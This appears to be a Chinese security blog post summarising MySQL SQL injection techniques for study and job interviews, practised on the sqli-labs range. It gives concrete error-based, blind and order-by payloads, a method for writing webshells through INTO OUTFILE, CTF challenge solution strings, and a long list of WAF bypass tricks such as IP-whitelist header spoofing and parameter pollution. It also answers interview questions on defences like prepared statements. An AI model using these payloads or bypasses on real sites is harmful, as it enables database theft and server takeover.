loading...
SQL注入总结(MYSQL篇)
Published in:2024-12-03 | category: SQLI

0x00写在前面

尽管目前厂商的防护手段都经过几轮迭代升级,但SQL注入仍是漏洞高发方式,本文记下对SQL注入所学习到的方法,也是对以前学过的做一个系统复习,里面也加入一些企业面试常问的问题,以下部分内容均为个人理解,如有错误,多多指正。

使用的靶场是SQLI,地址为https://github.com/Audi-1/sqli-labs

0x01分类

SQL注入从注入方式分为三大类,一种是回显注入,一种是无回显注入,还有一种是其他形式的注入,比如JSON注入、宽字节注入等

一、回显注入

回显注入中主要为报错注入

1、报错注入
(1)常规报错注入

顾名思义,常规报错就是通过单引号、双引号、括号等形式进行SQL构造,让服务器返回SQL语句相关错误,从而fuzz出SQL注入点。

2、特性函数报错
(1)updatexml注入

看函数可以知道这个作用是用来更新xml文档的。

在这个函数中可以写入一个子查询语句,尽管不符合xpath的规则会报错但同时也会把SQL查询的东西带出来,实现报错注入的目的。

用法:updatexml(xml_document, xpath_string, new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

1
' and updatexml(1,concat(0x7e,(select substr(xxx,32,1) from xxx limit 0,1),0x7e),1)--+
(2)extractvalue注入

从一个使用了xpath语法的xml字符串提取一个值

用法:extractvalue(xml_frag, xpath_expr)

第一个参数:xml_frag是xml文档对象名称,string类型

第二个参数:xpath_expr是使用xpath语法格式的路径

原理:当xpath_expr不符合xpath格式时会报错,~在ascii编码中是0x7e,不符合xpath格式,从而达到报错并把查询语句的结果带外

(3)floor注入

这个注入方式需要配合rand()函数和group by 语句

floor(x)

返回小于或等于x的最大整数

rand()

返回一个0到1的随机数,一般这里用的是rand(0),是固定一个0-1之间的伪随机数

group by 对查询的结果进行分组

原理:当count(*),floor(rand(0))和group by 同时执行时,会爆出duplicate entry错误

这是基于floor(rand(0)*2)的不确定性,可能为0也可能为1也可能为2,因为这里乘以了2

1
select count(*) from table group by concat(database(),floor(rand(0)*2))

group by在执行时,会依次取出查询表中的记录并创建一个临时表,group by的对象便是该临时表的主键。如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中,注意是插入!

1
#原理:当count(*),floor(rand(0))和group by 同时执行时,会爆出duplicate entry错误

就是group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次

网上大部分文章都说必须要有三条记录以上才可以报错。

实则不是,只要序列满足0101或1010,只要满足2条数据就可以进行报错注入

测试结果当floor(rand(14)*2)时序列是1010,可以满足这个报错

本质上这个报错是向临时表插入数据时,插入了重复的主键导致的报错

(4)总结

updatexml需要在查询后limit限制回显条数,limit x,1,x为变量

extractvalue在concat里插叙的语句还是需要group_concat,而updatexml不用

且最多只显示31位,若为MD5等大于32位的字符如下:

1
' and updatexml(1,concat(0x7e,(select substr(xxx,32,1) from xxx limit 0,1),0x7e),1)--+

二、无回显注入

1、盲注
(1)基于时间的盲注

benchmark()

是一个延时函数,但属于侧信道攻击,比较消耗CPU的资源

用法:benchmark(count,expr)

1
benchmark(5000,encode('MSG','by 5 seconds'))

sleep()

常用的mysql延时函数

sleep(1)

延时一秒

1
if(ascii(substr(database(),1,1))>115,0,sleep(5))--+
(2)基于布尔类型的盲注

以下是一些常见布尔注入使用的函数

substr()

截取目标字符串

用法:substr(str, start, length),其中str为字符串,start为起始位置,length为长度

1
ascii(substr((select table_name information_schema.tables where tables_schema = database()limit 0,1),1,1))=101 --+  

left()

与substr()类似,也是截取目标字符串

用法:left(str,length),其中str是要提取子字符串的字符串,length是一个正整数,指定将从左边返回的字符数。

1
left(database(),1)='a'

ord()

将返回字符串的第一位字符转换为ASCII码

用法:ord(str),其中str是要将第一位转换为ASCII码的字符串,可以单独也可以完整

1
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER  BY id LIMIT 0,1),1,1))>98--+
2、DNSLog外带注入

http://ceye.io/

http://dnslog.cn/

三、其他注入形式

1、mysql写shell

(1)有root权限

(2)知道web的绝对路径

(3)有select、update关键词权限

(4)security_file_priv需要关闭状态

(5)在PHP中需要关闭GPC(魔术引号)

(6)使用lines terminate by 写webshell

2、order by 注入
1
select * from goods order by $_GET['params']

order by 可以直接在后面加入布尔类型注入,也可加入时间盲注,基本操作跟上述提到的普通注入方式一样

1
2
3
4
5
order by if(1=1,username,password);
order by if((substr((select user()),1,1)='r1'),username,password);

order by if((substr((select user()),1,1)='r'),sleep(5),password);
order by if((substr((select user()),1,1)='r'),(select 1 from (select sleep(2)) as b),password);

procedure analyse注入

原理是利用procedure analyse 参数后注入,实际上是一种报错注入方式

利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以 利用 procedure analyse 进行注入。

1
procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
3、lines terminate by写webshell

?sort=1 Into outfile c:\wamp\www\sqllib\test1.txt lines terminated by 0x(网马进行 16 进制转换)

4、limit后注入

这里也可以搭配ordey by 和 procedure analyse注入的形式,其根本也是构造报错注入

1
select * from admin where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
5、堆叠注入

堆叠实际上就是多条语句同时执行,如:sql1;sql2;
可写入多条语句,比如select之后可以写一条create、update这种,还可以delete删除

在php中常用mysqli_multi_query()进行多语句执行,但实际上的环境大部分都是mysqli_ query()

6、宽字节注入

什么是宽字节

GB2312、GBK、GB18030、BIG5、Shift_JIS编码方式均属于宽字节编码

如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节

原因是因为PHP发送查询语句时会使用“character_set_client = gbk”,这时MYSQL使用的是GBK编码

在GBK编码中,默认2个字节为1个汉字

常见造成宽字节注入的函数:

addslashes、mysql_real_escape_string、mysql_escape_string、php.ini中magic_quote_gpc

原理:输入’或”会通过addslashes转义成\,这表面上可以防止某些SQL注入,但是如果加入%df就会把\吃掉,这是因为\在MYSQL的宽字节编码中是%5c,这时候就会变成一个汉字

7、二次注入

原理就是攻击者在输入SQL注入语句时被转义了,但仍把这些恶意的查询放到了数据库,在下一次请求数据时会调用数据库并把恶意数据提取出来,实现被动(二次)注入,一般会在白盒审计中出现,无法通过黑盒这种形式实现。

0x02案例展示(CTF)

借CTF历年赛事经典题目来分析SQL注入绕过姿势

一、2024源鲁杯——sInXx

payload初次尝试

1
juan79%27%09and%09%281%3D1%29%23

检测是过滤了逗号,这时候利用到等价函数替换,可以用join()连接表去测试列数

1
1'%09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09join%09(SELECT%091)B%09join%09(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

获得table,这里是or被禁用了

1
1'  UNION   SELECT  *   FROM    ((SELECT    GROUP_CONCAT(TABLE_NAME)    FROM    sys.schema_table_statistics WHERE   TABLE_SCHEMA=DATABASE())A   join    (SELECT 1)B join    (SELECT 1)C join    (SELECT 1)D join    (SELECT 1)E)#

拿数据

1
1' UNION SELECT * FROM ((SELECT `2` FROM (SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b) UNION SELECT * FROM  DataSyncFLAG)alimit 2 offset 1)A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)#

二、2022羊城杯——ComeAndLogin

获得库和表

1
username=1111\&password=or%0c((0xxxxx,0xxxxx,1,2,3,4,5,6,7,8)<(table sys.x$ps_schema_table_statistics_io limit 52,1))%23

获得用户账号和密码

1
username=1111\&password=or%0c((1,0x6161646d696e6e,0x6565656633343530393237453034656263363935326664626337356337633430)<(table%0cusertablelist%0climit%0c0,1))%23

0x03绕过思路

一、内敛注释

1
2
/*!50001 select 1,2,3*/;
该语句只能运行在mysql版本大于5.00.01时

二、伪装百度爬虫脚本

字面意思,给予符合百度爬虫的特征

三、IP白名单

1
2
3
4
X-forwarded-for
X-remote-IP
X-remote-addr
X-Real-IP

在header中修改这些请求头可以实现bypass

四、静态资源

1
?1.php/1.js?id=1

waf不会对静态资源请求内容进行过滤

.js、.jpg、.swf、.css等

五、更改请求头

更改User-Agent,部分内容跟伪装百度爬虫类似,早期的waf也是可以修改这个UA来实现Bypass

六、使用代理池

动态IP代理池,不怕被WAF封禁IP,可逐一尝试waf过滤的关键字

七、增加延时参数

延长执行时间,伪装成正常业务

0x04进阶绕过

一、更改数据提交方式

可将GET形式改成POST、OPTION、HEAD等比较少见的请求方式

二、大小写混合

比如将select修改为sELeCt

三、编码解码类

将payload改成base64编码、url编码、unicode编码等

s->%73->%25%37%33(url编码)

四、注释符混用

//—-+#//+:%00/!/

/ /当成空格

五、双写绕过

比如将select修改为sselectelect

六、等价函数替换

Hex() bin()等价于ascii()

@@user等价于user()

@@version等价于version()

Sleep() 等价于 benchmark()

Mid() substring() 等价于substr()

等号“=”替换为like

七、特殊符号混用

%0a在MYSQL是换行,可以当空格使用

%00截断

%09 TAB 键(水平)

%0c 新的一页

%0d return 功能

%0b TAB 键(垂直)

%a0 空格

八、借助数据库特性

每个数据库有不同特点,也有可以利用的点,例如mysql就有一个mysql黑魔法,属于mysql专有的特性

九、垃圾数据溢出

不断填充数据包,在某些WAF中,过大的数据包或过长数据长度会默认舍弃检测,避免降低业务效率,直接放行

十、HTTP参数污染

如上传的参数为在特定情况下为bbs=u&bbs=n&bbs=i&bbs=o&bbs=n&bbs=select 1,user(),3如果服务器端是将获取到的参数组合的话,就可以达到绕过的目的。

组合起来就是union select 1,user(),3

十一、MYSQL黑魔法

select{xusername}from{x11test.admin};

handle替代select

这里是一个鲜为人知的知识点,也是从一篇阿里云大会上的文章看到的,这里handle是mysql独有的关键字。这条语句使我们能够一行一行的浏览一个表中的数据,比较冷门,毕竟属于是mysql的特性,所以没有列入SQL语句类型里面

十二、Information_schema绕过

mysql.innodb_table_stats

sys.schema_table_statistics

sys.x$statement_analysis

0x05常见面试题

一、启明星辰

(1)sql注入用过哪些函数?
– limit()、concat()、group_concat()、Substr()、Ascii()、Left()
– length()、updataxml()

(2)sql注入的简单原理及其如何防御?

将恶意SQL语句传进一个SQL语句中,这个语句没有经过处理直接进入到SQL查询环节,完整执行了这个语句并产生特定结果;永远不信任来自客户的输入,入参转义,比如对单引号或双引号进行\转义,出参过滤,这样可以很大概率防止二次注入的发生。如在代码上可采用预编译方法,对要进行SQL的代码,不直接传入外部输入的数据,而是直接预编译成字符串传入,这样不会造成SQL恶意执行;直接上WAF

二、字节跳动

(1)java系统中的sql注入怎么做一个防御和修复?

使用preparestatement预编译,将SQL语句变成字符串而不直接插入到数据库查询;若在Mybait的框架中,采用#{}传参而不用${}传参,原理是跟预编译一样的;对用户输入的数据采用过滤处理,例如将单引号或双引号转义;直接上WAF;

(2)SQL注入如何判断注入点?

在某些传参参数中输入单引号、双引号或括号,并输入例如 1=1 1=2 # 观察数据是否正常显示,若返回错误,大概率存在SQL注入点

三、长亭科技

(1)php在做sql注入防御时有哪些方法?

(2)java做sql注入的防御?

同上

四、腾讯安全

(1)sql注入过waf了解吗,若一个sql注入过滤了information关键词,怎么绕过?

mysql.innodb_table_stats

sys.schema_table_statistics

sys.x$statement_analysis

(2)sql注入了解吗,讲一讲二次注入的原理?

黑客对数据库插入了脏数据,恶意查询语句,尽管在插入时进行了转义等处理,但再次调用查询语句时里面的脏数据没有经过处理直接返回,导致二次注入

五、58同城

(1)假如说有个SQL注入如下

1
select * from user where userid = {};
  1. response里面没有返回内容
  2. 1s就超时了,直接返回404页面

这种情况下如何注入?

这个暂时没看到比较官方标准答案,可以拓展下思路

六、京东

(1)sql注入的简单原理及其如何防御?

同上

0x06总结

SQL注入的姿势千变万化,在每次学习到一条新bypass payload时还是多记一记。根本上还是要多学SQL语法和特点,几乎所有的Bypass无非就是基于SQL特点去操作的。

同时还要多学习更多的WAF,无论是开源还是从哪个地方获得的,根本一点:多尝试

Next:
webshell免杀的一些思考
catalog
catalog